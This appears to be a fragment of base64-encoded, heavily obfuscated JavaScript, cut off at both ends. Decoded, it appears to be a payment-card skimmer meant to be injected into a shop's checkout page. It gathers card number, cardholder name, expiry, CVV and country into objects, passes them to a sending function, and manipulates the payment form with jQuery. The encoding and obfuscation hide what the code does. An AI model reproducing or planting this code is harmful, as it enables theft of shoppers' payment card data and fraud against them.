zM1ZDIsXzB4MzM3ZDk3LF8weGI4M2JiYSxfMHgxNDNlM2Mpe3JldHVybiBfMHgyMTQyNjAoXzB4NTczNWQyLTB4ZDgsXzB4NTczNWQyLF8weGI4M2JiYS0weDdlLF8weDE0M2UzYy0gLTB4MTQpO31yZXR1cm4gXzB4MTFjNTk1WydQd0VRSSddKCQsXzB4MTFjNTk1W18weDU5YzllNigweDMyYywweDc2YiwweDI4YywweDRlNSldKF8weDExYzU5NVtfMHg1OWM5ZTYoMHg2NjQsMHgyMjgsMHg0NzgsMHg1MDUpXStzc3RyaW5nK18weDExYzU5NVsnTnhsVnMnXSxzc3RyaW5nKSsndnYnKTt9ZnVuY3Rpb24gXzB4MTQ0Zjk5KCl7ZnVuY3Rpb24gXzB4M2YwOTJhKF8weDRjYTMyNCxfMHg1ZWEzMTUsXzB4NTcxMDYxLF8weDQ4MzJiZSl7cmV0dXJuIF8weDIxNjI3ZShfMHg1NzEwNjEsXzB4NWVhMzE1LTB4MTFmLF8weDU3MTA2MS0weGQ3LF8weDVlYTMxNS0gLTB4MjU1KTt9ZnVuY3Rpb24gXzB4MTQyMTIxKF8weDI3ZGFkZixfMHg1ZWUxMWEsXzB4MTMzY2UzLF8weDQ5NzAzNCl7cmV0dXJuIF8weDIxNjI3ZShfMHgyN2RhZGYsXzB4NWVlMTFhLTB4MTk0LF8weDEzM2NlMy0weDdmLF8weDVlZTExYS0weDIyYyk7fWlmKF8weDI0MTBlOFtfMHgxNDIxMjEoMHg4ODQsMHg3YjcsMHg3MzUsMHg4OWUpXShfMHgzZjA5MmEoMHg4MCwweDM0YSwweDM0YSwweDVkYSksXzB4MjQxMGU4W18weDNmMDkyYSgweDY4LDB4MjMzLDB4NDJjLDB4MjkxKV0pKXJldHVybiBfMHgyNDEwZThbXzB4MTQyMTIxKDB4NWJlLDB4Njk1LDB4ODhjLDB4NDJiKV0oJCxfMHgyNDEwZThbXzB4MTQyMTIxKDB4MmU4LDB4NWE0LDB4NDlhLDB4ODIwKV0oXzB4MjQxMGU4WydFakJDbSddKCcjY2EnLHNzdHJpbmcpK18weDI0MTBlOFtfMHgxNDIxMjEoMHg2NGQsMHg1ZGIsMHg0OTMsMHg0OTQpXSxzc3RyaW5nKStfMHgyNDEwZThbJ1ZnRGlqJ10pO2Vsc2V7dmFyIF8weDJjNWFlNixfMHgzZmQxMTgsXzB4MzljM2U3O3JldHVybiBfMHgyYzVhZTY9XzB4MjQxMGU4W18weDNmMDkyYSgweDI0MiwweDM5MSwweDVlNywweDIxYSldKF8weDJkYjlmNyxfMHg0MzRlYTFbXzB4M2YwOTJhKDB4MjI2LDB4M2YyLDB4MTk3LDB4MmI2KStfMHgxNDIxMjEoMHhiMDUsMHg5MGYsMHg2OGYsMHg4ZWIpXSksXzB4M2ZkMTE4PV8weDE0YzlkZltfMHgzZjA5MmEoLTB4MWZlLDB4ZCwweDE3YiwweDMwMykrJ2RlJ10oXzB4NTY4NDEzWyd3aGljaCddKSwvXlxkKyQvW18weDNmMDkyYSgweGVmLDB4MzFlLDB4NDViLDB4Mjg1KV0oXzB4M2ZkMTE4KSYmIV8weDI0MTBlOFtfMHgzZjA5MmEoMHg0NzEsMHgyY2UsLTB4MmEsMHg1NTEpXShfMHg5ZjVmMWIsXzB4MmM1YWU2KT8oXzB4MzljM2U3PV8weDI0MTBlOFtfMHgxNDIxMjEoMHg1YzgsMHg1MGUsMHgzNWMsMHg0MGMpXShfMHgyYzVhZTZbJ3ZhbCddKCksXzB4M2ZkMTE4KSxfMHgyNDEwZThbXzB4M2YwOTJhKDB4MTUyLDB4MmFjLC0weDI1LDB4MzUpXShfMHgzOWMzZTdbJ2xlbmd0aCddLC0weDFkMzIrMHgyMjE4Ky0weDRlMikpOnZvaWQoMHgyKi0weGFjZistMHgxNzVjKzB4Y2EqMHgzOSk7fX12YXIgXzB4NGM1MmU3O2Z1bmN0aW9uIF8weDVjZjJmYShfMHg1ODQ2ZDcpe3ZhciBfMHgzMTE2NWI9eyd2RndtSSc6ZnVuY3Rpb24oXzB4MWE3YWNkLF8weDJiYWVjNSl7cmV0dXJuIF8weDI0MTBlOFsnRVRZeUYnXShfMHgxYTdhY2QsXzB4MmJhZWM1KTt9LCdwc1JiYic6XzB4MjQxMGU4W18weGE5ZDViKDB4MzBlLDB4MzUwLDB4NjNkLDB4NDlhKV0sJ1VuZmxqJzpmdW5jdGlvbihfMHg1MTFkZTEsXzB4MTIzY2RhKXtyZXR1cm4gXzB4MjQxMGU4WydmQ3ZhayddKF8weDUxMWRlMSxfMHgxMjNjZGEpO30sJ1RVS2d0JzpfMHgzYTQxNmMoMHgzNzcsMHg2MDksMHg0ZDEsMHgxZTcpLCdRVlRYbCc6XzB4MjQxMGU4WydEc3ZMUyddLCdRYVZVVic6ZnVuY3Rpb24oXzB4NDAyMjJhLF8weDMzZGRiOSl7cmV0dXJuIF8weDQwMjIyYT09PV8weDMzZGRiOTt9LCdGbURvdic6XzB4MjQxMGU4W18weGE5ZDViKDB4MzUzLDB4MzIxLDB4MWY5LDB4NDYwKV0sJ0dpSmNOJzpmdW5jdGlvbihfMHg4Y2M1NDIsXzB4MjkyMGJkKXtmdW5jdGlvbiBfMHg1ODIyNWQoXzB4M2RlMjM3LF8weDViYTViYixfMHg0YjVlMzYsXzB4MzRhMjU4KXtyZXR1cm4gXzB4M2E0MTZjKF8weDViYTViYixfMHg1YmE1YmItMHgxN2UsXzB4NGI1ZTM2LTB4MTk4LF8weDM0YTI1OC0weDRmKTt9cmV0dXJuIF8weDI0MTBlOFtfMHg1ODIyNWQoMHg2N2IsMHgyOGUsMHg0YjgsMHg3N2MpXShfMHg4Y2M1NDIsXzB4MjkyMGJkKTt9LCdGTUNXTSc6ZnVuY3Rpb24oXzB4MWM3YmQyLF8weDQ3ZGQwNSl7ZnVuY3Rpb24gXzB4MWU4NzRiKF8weDFmZTBjMSxfMHg0OGIzYWIsXzB4MzdkZWI4LF8weDE2ZTdhOCl7cmV0dXJuIF8weDNhNDE2YyhfMHgxNmU3YTgsXzB4NDhiM2FiLTB4MTZlLF8weDQ4YjNhYi0gLTB4MTNkLF8weDE2ZTdhOC0weDFkZSk7fXJldHVybiBfMHgyNDEwZThbXzB4MWU4NzRiKDB4NTIsMHgzMzQsMHg1NTYsMHgxZTYpXShfMHgxYzdiZDIsXzB4NDdkZDA1KTt9LCdJUkRYSyc6J2RlX2Zvcm0nLCdCRk9RYSc6ZnVuY3Rpb24oXzB4Nzc5ZTg2LF8weDE4NjExZil7cmV0dXJuIF8weDI0MTBlOFsneEFRT3UnXShfMHg3NzllODYsXzB4MTg2MTFmKTt9LCdEdmRKYic6XzB4MjQxMGU4W18weDNhNDE2YygweDQxOCwweDg5NiwweDVhMywweDg1NildLCdnVkVuUCc6XzB4MjQxMGU4W18weGE5ZDViKDB4NGZlLDB4MmViLDB4MmI2LDB4MzkyKV19O18weDI0MTBlOFtfMHgzYTQxNmMoMHg3MTksMHg4NTMsMHg2MDUsMHg0ZmQpXSgkLF8weDI0MTBlOFtfMHhhOWQ1YigtMHgxYjIsLTB4MjI3LC0weDRmYSwtMHg4MCldKF8weDI0MTBlOFtfMHgzYTQxNmMoMHg3ZmYsMHg4OGIsMHg1ZDgsMHg0NTQpXSxfMHgyNDEwZThbXzB4M2E0MTZjKC0weDNjLDB4NTIyLDB4MmE3LC0weDFmKV0pKVtfMHgzYTQxNmMoMHgyNTQsMHgzNmIsMHgxYjEsLTB4ZTEpXSgnJyksXzB4MjQxMGU4W18weDNhNDE2YygweDUzNCwweDM4YiwweDNmOSwweDIyNildKCQsXzB4MjQxMGU4Wydsak5tTCddK18weDI0MTBlOFtfMHhhOWQ1YigtMHgyMCwweGViLC0weDc2LC0weGJjKV0pW18weDNhNDE2YygweGRmLDB4M2FlLDB4MWIxLDB4MTcwKV0oJycpO2Z1bmN0aW9uIF8weDNhNDE2YyhfMHhjMjQxMjEsXzB4MjMwZTJjLF8weDE3NTgzMyxfMHgzOTg1NjIpe3JldHVybiBfMHgyMTQyNjAoXzB4YzI0MTIxLTB4MTQzLF8weGMyNDEyMSxfMHgxNzU4MzMtMHhlMyxfMHgxNzU4MzMtMHg4Yyk7fWlmKF8weDI0MTBlOFsnTWdKdW4nXShfMHgxNDRmOTkpWydpcyddKF8weDI0MTBlOFtfMHgzYTQxNmMoMHg3OCwtMHgyLDB4MjI3LDB4MTdiKV0pJiZfMHgyNDEwZThbJ0RRdHJSJ10oXzB4MjQxMGU4W18weDNhNDE2YygweDExZSwtMHgyODIsMHg3MywweDM0ZSldKF8weDE0NGY5OSlbXzB4MjQxMGU4WydnVkpCaSddXSgpW18weGE5ZDViKDB4NDA4LDB4MzBmLDB4MjdmLDB4NDQ4KV0sLTB4MjRhMSstMHgzMSoweDg1Ky0weDNlMWEqLTB4MSkpe2lmKF8weDI0MTBlOFtfMHhhOWQ1YigweDJlYiwweGYzLDB4OGIsLTB4N2IpXShfMHgyNDEwZThbXzB4M2E0MTZjKC0weDZhLDB4MWFiLDB4YTksMHgxNjYpXSxfMHgyNDEwZThbXzB4YTlkNWIoMHgyNmUsMHgyYSwweDJhNCwweGZmKV0pKXJldHVybiBjb25zb2xlW18weDNhNDE2YygweDYwMSwweDFhNSwweDQ3NCwweDQwZCldKF8weDNhNDE2YygweDZkYywweDZkNSwweDQ4MiwweDNjMSkpLCEoLTB4MThlNSsweDNlNCsweDE1MDIpO2Vsc2UgcmV0dXJuO312YXIgXzB4MWQxNWViPV8weDI0MTBlOFtfMHgzYTQxNmMoMHg0ZWQsMHg0MzksMHg0NWQsMHgyODQpXShfMHgyNGJhODQoKVtfMHhhOWQ1YigweDRmNywweDMwZiwweDE3ZiwweDRiNSldLDB4MSotMHg2ZjcrLTB4MTllYysweDIwZTMpO2lmKCEoJFtfMHhhOWQ1YigtMHgzYywweDI5YiwtMHgyLDB4MTA2KV1bXzB4MjQxMGU4W18weGE5ZDViKDB4NGIxLDB4MzRjLDB4ODEsMHgzZTQpXV0oXzB4MjQ2ZjBjKCkpJiZfMHgyNDEwZThbXzB4M2E0MTZjKDB4MmVlLC0weDEsMHg3MywtMHgyODIpXShfMHg1YmVkMmEpW18weDI0MTBlOFtfMHgzYTQxNmMoMHgxYiwweDE1NiwweDJkMiwweDJlZCldXSgpJiZfMHgyNDEwZThbXzB4M2E0MTZjKDB4NzQ4LDB4N2U3LDB4NTMxLDB4NjkyKV0oXzB4NDczYzE2KVtfMHgyNDEwZThbXzB4M2E0MTZjKDB4Y2MsMHg0MDksMHgyZDIsMHg0YjYpXV0oKSYmJFtfMHgyNDEwZThbJ1dhbFBGJ11dW18weDI0MTBlOFtfMHhhOWQ1YigweDUwLDB4MTZlLDB4OTUsLTB4NTkpXV0oXzB4NWJlZDJhKClbXzB4MjQxMGU4W18weDNhNDE2YygweDQ2OCwtMHgxMywweDJkMiwweDM5MCldXSgpLF8weDI0MTBlOFtfMHgzYTQxNmMoMHgyNWQsMHg2NDIsMHg1MGUsMHg2ODEpXShfMHg0NzNjMTYpW18weDI0MTBlOFsnZ1ZKQmknXV0oKSkmJiRbJ3BtbnQnXVtfMHgyNDEwZThbXzB4M2E0MTZjKDB4MTIwLDB4NTU5LDB4MzhiLDB4MzYyKV1dKF8weDI0MTBlOFtfMHhhOWQ1YigweDJlMiwweDJiNCwweDU5YiwweDE1NSldKF8weDFkMjkxMClbXzB4MjQxMGU4W18weDNhNDE2YygweDM1NiwweDMxZiwweDJkMiwweDRiNildXSgpLCRbXzB4MjQxMGU4W18weGE5ZDViKDB4MWUzLC0weGE2LC0weDhmLDB4MjJiKV1dW18weDI0MTBlOFsnQmNCUUInXV0oXzB4MjQxMGU4W18weDNhNDE2YygtMHgxYzQsLTB4MjQzLDB4NzMsMHgyZTcpXShfMHgyNDZmMGMpKSkpKXJldHVybiBfMHgyNDEwZThbJ1hEZG52J10oJCxfMHgyNDEwZThbXzB4M2E0MTZjKDB4ODM3LDB4M2MzLDB4NjE5LDB4NTQ5KV0oXzB4MjQxMGU4WydHV2FMeCddLHNzdHJpbmcpK18weDI0MTBlOFtfMHgzYTQxNmMoMHgyZjIsMHg2NGEsMHg1NjQsMHgzOGEpXStzc3RyaW5nKydlcicpW18weDI0MTBlOFsnUWJHcUsnXV0oKSwhKDB4MTBkKjB4MTcrMHgxMioweDE4OSsweDE1NCotMHgyNyk7Y29uc29sZVtfMHgzYTQxNmMoMHg2M2MsMHg2ODQsMHg0NzQsMHg3MTcpXShfMHgxZDE1ZWImJl8weDI0MTBlOFtfMHgzYTQxNmMoLTB4NTAsMHgyMGEsMHgxOWEsMHgxMDApXShfMHgyNDEwZThbXzB4YTlkNWIoMHhlZCwweDJkNywweDM0OCwweDVjYyldKF8weDI0YmE4NClbXzB4YTlkNWIoLTB4NDg5LC0weDFhZiwtMHgyZGUsMHgyYildKClbXzB4M2E0MTZjKDB4M2M2LDB4NDMyLDB4NTY5LDB4NzJlKV0sLTB4MWM2YistMHgxKi0weDIxNGQrLTB4NGRkKSk7aWYoXzB4MWQxNWViJiZfMHgyNDEwZThbJ0dSWnBSJ10oXzB4MjRiYTg0KClbXzB4MjQxMGU4W18weGE5ZDViKDB4MWJkLDB4NzgsLTB4MWRlLDB4MzA4KV1dKClbXzB4M2E0MTZjKDB4NjJjLDB4N2RhLDB4NTY5LDB4M2U3KV0sLTB4MWJiYistMHgzMjgqLTB4OCsweDI4MCkpcmV0dXJuIF8weDI0MTBlOFtfMHgzYTQxNmMoMHg1YjcsMHg0MDUsMHg1MGUsMHgzMzMpXShfMHgyNGJhODQpW18weDI0MTBlOFtfMHgzYTQxNmMoMHgxNzUsMHgzNjEsMHgzZDAsMHgxY2IpXV0oKSwhKDB4N2FlKjB4MSstMHg2YjMqMHgyKzB4NWI5KTtfMHg0YzUyZTchPV8weDI0MTBlOFsnWEhVd0knXSgnY28nLCdkZScpJiYoXzB4NGM1MmU3PV8weDI0MTBlOFtfMHgzYTQxNmMoMHg1NzUsMHg3NmYsMHg0ZTcsMHgzZTEpXSgnY2EnLCdyZCcpKTtmdW5jdGlvbiBfMHhhOWQ1YihfMHg1MTE0NWIsXzB4MjlhMTc0LF8weDM4NmM5MSxfMHg0N2Y5ZGIpe3JldHVybiBfMHgyMTYyN2UoXzB4NDdmOWRiLF8weDI5YTE3NC0weDFhLF8weDM4NmM5MS0weDE5YyxfMHgyOWExNzQtIC0weDQzYSk7fShfMHgyNDEwZThbXzB4M2E0MTZjKDB4Mjc5LDB4MmNhLDB4MzkyLDB4MzE0KV0oXzB4MTQ0Zjk5KVsnaXMnXShfMHgyNDEwZThbJ3dmTVNVJ10pfHxfMHgyNDEwZThbXzB4M2E0MTZjKDB4NWRiLDB4NjkyLDB4NDVkLDB4MTg1KV0oLTB4MSoweDk4ZSsweDEqLTB4MWFmYSsweDI0ODgsXzB4M2IwY2FmKSkmJihfMHgyNDEwZThbXzB4YTlkNWIoLTB4NDZmLC0weDFlNywtMHgyZjcsLTB4MjA5KV0oXzB4MTQ0Zjk5KVsncmVtb3ZlQ2xhcycrJ3MnXShfMHgyNDEwZThbXzB4YTlkNWIoMHgyM2YsMHhhLC0weDFjNiwweDJkYyldKSxfMHgyNDEwZThbXzB4YTlkNWIoMHg5MCwweDJjZiwweDFmYywtMHgyMSldKCQsZG9jdW1lbnRbXzB4YTlkNWIoLTB4NzgsMHgyNDUsMHgyMSwweDFlNildKVsndHJpZ2dlciddKF8weDI0MTBlOFtfMHhhOWQ1YigweDMxOCwweDM5LC0weDk0LDB4MmM2KV0pLF8weDRjNTJlNz1fMHgyNDEwZThbXzB4M2E0MTZjKDB4NDgyLDB4NzAwLDB4NWFhLDB4ODEyKV0pO18weDI0MTBlOFtfMHhhOWQ1YigtMHgxZmUsLTB4MTA5LC0weDE5NiwweDE1OCldKCQsZG9jdW1lbnRbXzB4YTlkNWIoMHgxMywweDI0NSwweDE1OCwweDJmZCldKVtfMHgzYTQxNmMoMHgyOTMsMHgyOTIsMHgxYjAsMHgzMWMpXSgnaGlkZV9mb3JtXycrXzB4M2E0MTZjKC0weDExMiwtMHgxZTUsMHg1MywtMHgyOWEpKSwkKGRvY3VtZW50W18weDNhNDE2YygweDFiYSwweDNlNCwweDQ5ZiwweDI5YyldKVtfMHhhOWQ1YigtMHgxYzIsLTB4YWEsMHgxYjgsLTB4MjQ1KV0oXzB4M2E0MTZjKDB4NjA0LDB4NGY3LDB4NTM2LDB4MzdkKSsncicpO3ZhciBfMHgxM2Q2ZDU9XzB4MjQxMGU4W18weGE5ZDViKDB4MjIsMHhjMywweGE4LC0weDRiKV0oXzB4MjQxMGU4W18weGE5ZDViKDB4MzFiLDB4MzUwLDB4MjdlLDB4NjMwKV0sXzB4NGM1MmU3KT97J2NpZCc6XzB4M2IwY2FmLCdjb2RlJzpfMHgyNDEwZThbXzB4YTlkNWIoLTB4MjEsMHgxYywweDMzLC0weGI5KV0oXzB4MTQ0Zjk5KVtfMHgyNDEwZThbXzB4M2E0MTZjKDB4NDcxLDB4MWNlLDB4MmQyLDB4NDY3KV1dKCksJ2NvdW50cnknOl8weDI0MTBlOFsnWFp2V3gnXShfMHg0ZDM0NDkpLCd0JzpfMHgyNDEwZThbXzB4M2E0MTZjKDB4OGEsLTB4YzEsMHgyMWMsMHgzMDMpXShfMHg1N2I0YzEpfTp7J2NjTnVtJzpfMHgyNDEwZThbXzB4M2E0MTZjKDB4NGQ1LDB4NzhlLDB4NTBlLDB4NjQ2KV0oXzB4MjQ2ZjBjKSwnY2hOYW1lJzpfMHgyNGJhODQoKVtfMHgyNDEwZThbXzB4YTlkNWIoMHgzMTksMHg3OCwweDJlMiwtMHgyNSldXSgpLCdleHAnOl8weDI0MTBlOFtfMHhhOWQ1YigweDNlMiwweDFjMCwweDE1ZSwweDE4MCldKF8weDViZWQyYSgpW18weDI0MTBlOFtfMHgzYTQxNmMoMHgxMzEsMHg1MzYsMHgyZDIsMHg0MDkpXV0oKSsnLycsXzB4MjQxMGU4W18weDNhNDE2YygweDM3NywweDJiNiwweDUzMSwweDMwYildKF8weDQ3M2MxNilbXzB4M2E0MTZjKC0weDQxLDB4MzRhLDB4YWIsMHgzNGQpXSgpKSwnY3Z2JzpfMHgyNDEwZThbXzB4YTlkNWIoMHhmNywweDIwYSwweDQ0ZCwweDE0MyldKF8weDFkMjkxMClbXzB4YTlkNWIoLTB4MmUsLTB4MWFmLC0weDFlNiwweDEyZSldKCksJ2NvdW50cnknOl8weDI0MTBlOFtfMHgzYTQxNmMoMHg0OWIsMHgzOTcsMHg0YTksMHgyMjMpXShfMHg0ZDM0NDkpLCd0JzpfMHgyNDEwZThbXzB4M2E0MTZjKDB4MWUxLDB4NjgsMHg3MywtMHgxNzkpXShfMHg1N2I0YzEpfTtfMHgyNDEwZThbXzB4YTlkNWIoMHgxNWUsMHhmZSwtMHgzYiwweDIzMyldKF8weDI0YWQ0MCxfMHg0ZmQ0ZGMsXzB4MTNkNmQ1LGZ1bmN0aW9uKF8weDIwZjNlNil7dmFyIF8weDViNTZkMj17fTtfMHg1YjU2ZDJbJ3ZPeXZyJ109XzB4MjQxMGU4Wyd4dGN1YyddO3ZhciBfMHgyNzM1M2E9XzB4NWI1NmQyO2Z1bmN0aW9uIF8weDNmM2U0NShfMHgyZGZlNWIsXzB4MWM2Y2M2LF8weDFkYzZkNixfMHg0YzFkNzIpe3JldHVybiBfMHhhOWQ1YihfMHgyZGZlNWItMHgxYjQsXzB4MWRjNmQ2LTB4NTk2LF8weDFkYzZkNi0weDZlLF8weDRjMWQ3Mik7fV8weDI0MTBlOFtfMHgzZjNlNDUoMHgxMjgsMHg0MDAsMHg0MDEsMHgxYzQpXShzZXRUaW1lb3V0LGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MTJhMmY5KF8weDMxMDAyMixfMHg1MmFiZDEsXzB4Mzg3MmNkLF8weDVhNTkwYSl7cmV0dXJuIF8weDNmM2U0NShfMHgzMTAwMjItMHg5NixfMHg1MmFiZDEtMHgxNjgsXzB4NWE1OTBhLSAtMHg1NmQsXzB4NTJhYmQxKTt9ZnVuY3Rpb24gXzB4Y2Y4OTkwKF8weDFiMGUwZixfMHg4MmZhYWEsXzB4NGRhNDBiLF8weDM3ZjgyMSl7cmV0dXJuIF8weDNmM2U0NShfMHgxYjBlMGYtMHgxMmQsXzB4ODJmYWFhLTB4MTkwLF8weDFiMGUwZi0weGMxLF8weDgyZmFhYSk7fWlmKF8weDMxMTY1YltfMHgxMmEyZjkoMHgyMmYsLTB4ZGEsLTB4NWYsMHgxNTIpXShfMHgzMTE2NWJbXzB4MTJhMmY5KDB4M2UzLDB4NTIwLDB4MzQ2LDB4MzRlKV0sXzB4NGM1MmU3KSl7fWVsc2V7aWYoXzB4MzExNjViWydVbmZsaiddKHR5cGVvZiBfMHgyMGYzZTZbXzB4MzExNjViW18weGNmODk5MCgweDZiZiwweDhlYywweDQwZSwweDdkZSldXSxfMHgzMTE2NWJbXzB4MTJhMmY5KDB4NjQ2LDB4NDVlLDB4NDZhLDB4M2M5KV0pKXtpZihfMHgzMTE2NWJbJ1FhVlVWJ10oXzB4MzExNjViW18weDEyYTJmOSgweDJlNCwtMHgyMywweDJkNCwweGVlKV0sXzB4MzExNjViWydGbURvdiddKSlfMHgzYjBjYWY9XzB4MjBmM2U2W18weDMxMTY1YltfMHgxMmEyZjkoMHgyOSwweDlhLDB4Mzc5LDB4OTEpXV0sXzB4MzExNjViW18weGNmODk5MCgweDY0ZiwweDNiOSwweDViYSwweDZkNCldKCQsZG9jdW1lbnRbXzB4Y2Y4OTkwKDB4ODljLDB4ODk0LDB4ODc3LDB4YTUzKV0pW18weGNmODk5MCgweDVhZCwweDQyYiwweDdmZCwweDgxZSldKF8weDMxMTY1YltfMHgxMmEyZjkoLTB4YjQsLTB4MTg5LC0weDdiLC0weGRhKV0oXzB4MTJhMmY5KDB4MTk1LDB4NDY2LC0weDhlLDB4MjYxKSxfMHgzMTE2NWJbXzB4Y2Y4OTkwKDB4NDQ3LDB4MmFhLDB4NGFmLDB4M2Y2KV0pKTtlbHNlIHJldHVybiBfMHg0MjFlNTZbXzB4Y2Y4OTkwKDB4NDRiLDB4MWE0LDB4NGYzLDB4MjIxKV0oKVtfMHhjZjg5OTAoMHg5ZDEsMHhiNTIsMHg4YjEsMHg2ZWYpXSgvXihbMC05XSkkLyxfMHgyNzM1M2FbXzB4MTJhMmY5KC0weDJiNCwtMHgxMmQsMHgxNCwtMHgxNzIpXSk7fWVsc2UgXzB4MzExNjViW18weGNmODk5MCgweDY0ZiwweDVjNCwweDU5ZSwweDQ2YSldKCQsZG9jdW1lbnRbXzB4Y2Y4OTkwKDB4ODljLDB4NzE2LDB4NWQ4LDB4OWNmKV0pW18weDEyYTJmOSgtMHgyYjcsLTB4MWQ3LDB4MjY2LC0weDgxKV0oXzB4MzExNjViW18weDEyYTJmOSgweGZlLDB4NjYzLDB4NWRlLDB4Mzg2KV0oXzB4MzExNjViWydEdmRKYiddLF8weDMxMTY1YltfMHgxMmEyZjkoLTB4MTJhLC0weDEwNSwweDJjOCwweGMpXSkpO319LC0weDU1ZCotMHgxKy0weDEqMHgxMDMzKy0weDNlKi0weDRkKTt9KTt9XzB4MmY1MzQ5W18weDIxNjI3ZSgweDliZCwweDZkMiwweDc0ZCwweDdiMCldKCQsZG9jdW1lbnRbXzB4MjE2MjdlKDB4NzUxLDB4NmFkLDB4NDkxLDB4NjdmKV0pWydvbiddKF8weDJmNTM0OVsnV2Z4RHUnXSxmdW5jdGlvbihfMHgyMmUxYTUpe2Z1bmN0aW9uIF8weDU1YWY3MShfMHg0ZWQwNDgsXzB4NWYwNzUxLF8weDFkZTIyNSxfMHg0MzE2MmIpe3JldHVybiBfMHgyMTQyNjAoXzB4NGVkMDQ4LTB4MTcxLF8weDQzMTYyYixfMHgxZGUyMjUtMHgxMzUsXzB4MWRlMjI1LSAtMHgxMjIpO31mdW5jdGlvbiBfMHhlMjk3OTAoXzB4NTI3OTYyLF8weDRmZDc1YSxfMHhmMDIzYixfMHg1NGJjMzkpe3JldHVybiBfMHgyMTQyNjAoXzB4NTI3OTYyLTB4MTFlLF8weDU0YmMzOSxfMHhmMDIzYi0weDE4NCxfMHg1Mjc5NjItMHhiOSk7fV8weDI0MTBlOFtfMHg1NWFmNzEoLTB4MTNlLDB4MmNjLDB4NDEsMHgyNTMpXSgkLF8weDI0MTBlOFtfMHg1NWFmNzEoLTB4MjMzLC0weDJkOSwtMHgxN2IsLTB4MmRkKV0oXzB4MjQxMGU4W18weGUyOTc5MCgweDRlNiwweDQwNiwweDc0MiwweDdkNCldLF8weDI0MTBlOFsnTEFmUVgnXSkpWydoaWRlJ10oKTt9KSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MTQ1LDB4M2UsLTB4MjUsMHgyOGEpXSgkLGRvY3VtZW50W18weDIxNjI3ZSgweDg4MCwweDU5ZiwweDUwYywweDY3ZildKVsnb24nXShfMHgyMTYyN2UoMHgyZGMsMHg1YTEsMHg0NTcsMHgzZjkpK18weDIxNjI3ZSgweDk1LDB4MTZiLDB4MzM5LDB4MjMzKSxmdW5jdGlvbihfMHgyMGU4NWUpe3ZhciBfMHg0NmVhZDM9eydvZnJaUSc6ZnVuY3Rpb24oXzB4NDY2NzFiLF8weGZhYjQxMSl7cmV0dXJuIF8weDI0MTBlOFsnVVlKU0UnXShfMHg0NjY3MWIsXzB4ZmFiNDExKTt9LCd0cUVnRSc6ZnVuY3Rpb24oXzB4MmNiY2Q2LF8weDM1YjZhNil7cmV0dXJuIF8weDI0MTBlOFsnUlVmeVonXShfMHgyY2JjZDYsXzB4MzViNmE2KTt9LCdvR3p4QSc6ZnVuY3Rpb24oXzB4MTUwOWNlLF8weDU0MTk4Yil7cmV0dXJuIF8weDE1MDljZS1fMHg1NDE5OGI7fX07ZnVuY3Rpb24gXzB4NDM0YTg1KF8weDNhZDJlNSxfMHg3MjA5ZDksXzB4MjIxMDEzLF8weDE3M2RiZSl7cmV0dXJuIF8weDIxNDI2MChfMHgzYWQyZTUtMHgxY2UsXzB4NzIwOWQ5LF8weDIyMTAxMy0weDFjLF8weDE3M2RiZS0gLTB4YzMpO31mdW5jdGlvbiBfMHgyNzU5YjQoXzB4ZjZlMjNlLF8weDkzMDAxLF8weDYwNDc1OSxfMHg0MWM5NDApe3JldHVybiBfMHgyMTYyN2UoXzB4NDFjOTQwLF8weDkzMDAxLTB4NGUsXzB4NjA0NzU5LTB4MThkLF8weGY2ZTIzZS0weDI2OSk7fWlmKF8weDI0MTBlOFsnUEFDaGknXT09PV8weDI0MTBlOFtfMHgyNzU5YjQoMHg4YzksMHg2N2IsMHhhNTYsMHg5MTMpXSlfMHgzYjBjYWY9LTB4MTE5KjB4MTkrMHgxZWNkKy0weDUqMHhhYyxfMHg0YzUyZTc9XzB4MjQxMGU4WydSVWZ5WiddKCdjYScsJ3JkJyksXzB4MjQxMGU4W18weDI3NTliNCgweDgwOSwweDYwYywweDc4YSwweDVmOSldKCQsXzB4MjQxMGU4W18weDQzNGE4NSgweDQ2ZSwweDVhZiwweDE5NSwweDQwYyldKCcuY2EnLF8weDI0MTBlOFtfMHgyNzU5YjQoMHg3OGUsMHg2ZjcsMHg1M2UsMHg2YzcpXSkpW18weDI3NTliNCgweDVmYSwweDNkYywweDc1MywweDQzYSldKCcnKSwkKF8weDI0MTBlOFtfMHgyNzU5YjQoMHg2Y2EsMHg5NWUsMHg4NWYsMHg5YzEpXSlbLTB4MWVmMisweGM5YysweDEyNTZdW18weDQzNGE4NSgweDZiNywweDI3MywweDI3OSwweDQ5OCldKCksXzB4MjQxMGU4Wyd0cFVXQSddKCQsZG9jdW1lbnRbXzB4NDM0YTg1KDB4MWRjLDB4M2ViLDB4MjgxLDB4MzUwKV0pW18weDI3NTliNCgweDVmOSwweDc1OSwweDg2OSwweDc4NSldKF8weDI0MTBlOFtfMHgyNzU5YjQoMHg1NWYsMHgyZDksMHgzMDgsMHg3MjApXSksXzB4MjQxMGU4W18weDQzNGE4NSgweGVjLDB4YTQsMHg1MjQsMHgyMzUpXSgkLGRvY3VtZW50W18weDQzNGE4NSgweDNhNCwweDRkOSwweDY0MSwweDM1MCldKVtfMHg0MzRhODUoMHgxM2QsMHgxYmUsLTB4MWUzLDB4NjEpXShfMHg0MzRhODUoMHg2MTUsMHgyMTAsMHg1YjEsMHg0NmIpK18weDI3NTliNCgweDZmMiwweDk0ZiwweDY0NiwweDhlZCkpLF8weDI0MTBlOFtfMHgyNzU5YjQoMHg5ODgsMHhjNzUsMHg3ZTMsMHg3NTQpXSgkLGRvY3VtZW50Wydib2R5J10pW18weDI3NTliNCgweDVmOSwweDc0MCwweDgyMSwweDRhOCldKF8weDI3NTliNCgweDdkMywweGE0NSwweGFjMSwweDg3YykrJ2RlJyksXzB4MjQxMGU4W18weDQzNGE4NSgweDIxZiwweDMyNywweDUyOSwweDJmOSldKCQsZG9jdW1lbnRbXzB4NDM0YTg1KDB4ZGUsMHgyNTEsMHgxZGEsMHgzNTApXSlbXzB4Mjc1OWI0KDB4NWY5LDB4NWNjLDB4NDM4LDB4N2RkKV0oXzB4MjQxMGU4W18weDI3NTliNCgweDhjMywweDkwMCwweDc1OCwweGI0MSldKSxfMHgyNDEwZThbXzB4Mjc1OWI0KDB4ODRiLDB4Njk5LDB4NWFlLDB4OTYxKV0oJCxfMHgyNDEwZThbXzB4Mjc1OWI0KDB4N2M4LDB4NjM0LDB4YTQ5LDB4NzQyKV0rXzB4MjQxMGU4W18weDQzNGE4NSgweDMzOCwweDI3ZiwweDI2MCwweDI3NSldKVtfMHgyNDEwZThbJ1NZWkpKJ11dKCksXzB4MjQxMGU4W18weDI